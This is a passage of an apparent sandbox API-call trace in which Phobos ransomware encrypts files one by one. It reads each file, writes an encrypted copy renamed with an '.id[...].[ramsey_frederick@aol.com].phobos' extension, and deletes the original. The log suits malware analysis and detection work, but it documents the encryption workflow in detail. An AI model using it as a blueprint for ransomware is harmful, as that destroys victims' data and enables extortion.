hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0046.834] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.834] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=60816) returned 1 [0046.834] CloseHandle (hObject=0x320) returned 1 [0046.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0046.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.834] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.834] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.834] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.834] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.835] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc5d0) returned 1 [0046.835] CryptSetKeyParam (hKey=0x10dc5d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.835] ReadFile (in: hFile=0x320, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xed90, lpOverlapped=0x0) returned 1 [0046.847] CryptEncrypt (in: hKey=0x10dc5d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xeda0, dwBufLen=0xeda0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xeda0) returned 1 [0046.848] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xeda0, lpOverlapped=0x0) returned 1 [0046.849] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb50) returned 1 [0046.849] CryptSetKeyParam (hKey=0x10dcb50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.849] CryptEncrypt (in: hKey=0x10dcb50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0046.849] CryptDestroyKey (hKey=0x10dcb50) returned 1 [0046.849] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0046.849] CryptDestroyKey (hKey=0x10dc5d0) returned 1 [0046.849] CloseHandle (hObject=0x320) returned 1 [0046.849] CloseHandle (hObject=0x328) returned 1 [0046.851] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0046.852] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0046.853] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.853] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=79996) returned 1 [0046.853] CloseHandle (hObject=0x328) returned 1 [0046.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0046.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.853] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.853] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.853] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.853] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.853] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca90) returned 1 [0046.853] CryptSetKeyParam (hKey=0x10dca90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.854] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1387c, lpOverlapped=0x0) returned 1 [0046.870] CryptEncrypt (in: hKey=0x10dca90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13880, dwBufLen=0x13880 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13880) returned 1 [0046.870] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x13880, lpOverlapped=0x0) returned 1 [0046.872] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0046.872] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.872] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0046.872] CryptDestroyKey (hKey=0x10dc610) returned 1 [0046.872] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0046.872] CryptDestroyKey (hKey=0x10dca90) returned 1 [0046.872] CloseHandle (hObject=0x328) returned 1 [0046.872] CloseHandle (hObject=0x320) returned 1 [0046.874] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0046.875] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0046.875] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.877] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=39042) returned 1 [0046.877] CloseHandle (hObject=0x320) returned 1 [0046.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0046.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.877] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0046.877] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.877] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0046.877] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.886] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0046.886] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0046.886] ReadFile (in: hFile=0x320, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x9882, lpOverlapped=0x0) returned 1 [0047.006] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9890, dwBufLen=0x9890 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9890) returned 1 [0047.006] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x9890, lpOverlapped=0x0) returned 1 [0047.013] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc710) returned 1 [0047.013] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.013] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0047.013] CryptDestroyKey (hKey=0x10dc710) returned 1 [0047.013] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0047.013] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0047.013] CloseHandle (hObject=0x320) returned 1 [0047.013] CloseHandle (hObject=0x314) returned 1 [0047.017] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0047.030] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0047.030] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.035] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=39050) returned 1 [0047.035] CloseHandle (hObject=0x320) returned 1 [0047.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0047.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.035] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.035] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.035] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.035] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0047.039] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc610) returned 1 [0047.039] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.039] ReadFile (in: hFile=0x320, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x988a, lpOverlapped=0x0) returned 1 [0047.062] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9890, dwBufLen=0x9890 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9890) returned 1 [0047.062] WriteFile (in: hFile=0x340, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x9890, lpOverlapped=0x0) returned 1 [0047.063] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dca90) returned 1 [0047.063] CryptSetKeyParam (hKey=0x10dca90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.063] CryptEncrypt (in: hKey=0x10dca90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0047.063] CryptDestroyKey (hKey=0x10dca90) returned 1 [0047.063] WriteFile (in: hFile=0x340, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0047.063] CryptDestroyKey (hKey=0x10dc610) returned 1 [0047.064] CloseHandle (hObject=0x320) returned 1 [0047.064] CloseHandle (hObject=0x340) returned 1 [0047.065] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0047.066] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0047.066] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.071] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=272046) returned 1 [0047.071] CloseHandle (hObject=0x310) returned 1 [0047.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0047.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.071] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.071] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.071] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.071] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.078] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0047.078] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.078] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x426ae, lpOverlapped=0x0) returned 1 [0047.102] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x426b0, dwBufLen=0x426b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x426b0) returned 1 [0047.103] WriteFile (in: hFile=0x32c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x426b0, lpOverlapped=0x0) returned 1 [0047.108] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc9d0) returned 1 [0047.108] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.108] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0047.108] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0047.108] WriteFile (in: hFile=0x32c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0047.108] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0047.108] CloseHandle (hObject=0x310) returned 1 [0047.108] CloseHandle (hObject=0x32c) returned 1 [0047.113] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0047.116] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0047.116] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.116] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=41080) returned 1 [0047.116] CloseHandle (hObject=0x32c) returned 1 [0047.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0047.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0047.117] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.117] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.117] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0047.117] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.117] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc550) returned 1 [0047.117] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.117] ReadFile (in: hFile=0x32c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xa078, lpOverlapped=0x0) returned 1 [0047.163] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa080, dwBufLen=0xa080 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa080) returned 1 [0047.163] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xa080, lpOverlapped=0x0) returned 1 [0047.165] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0047.165] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0047.165] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0047.165] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0047.165] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0047.165] CryptDestroyKey (hKey=0x10dc550) returned 1 [0047.165] CloseHandle (hObject=0x32c) returned 1 [0047.165] CloseHandle (hObject=0x310) returned 1 [0047.166] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" 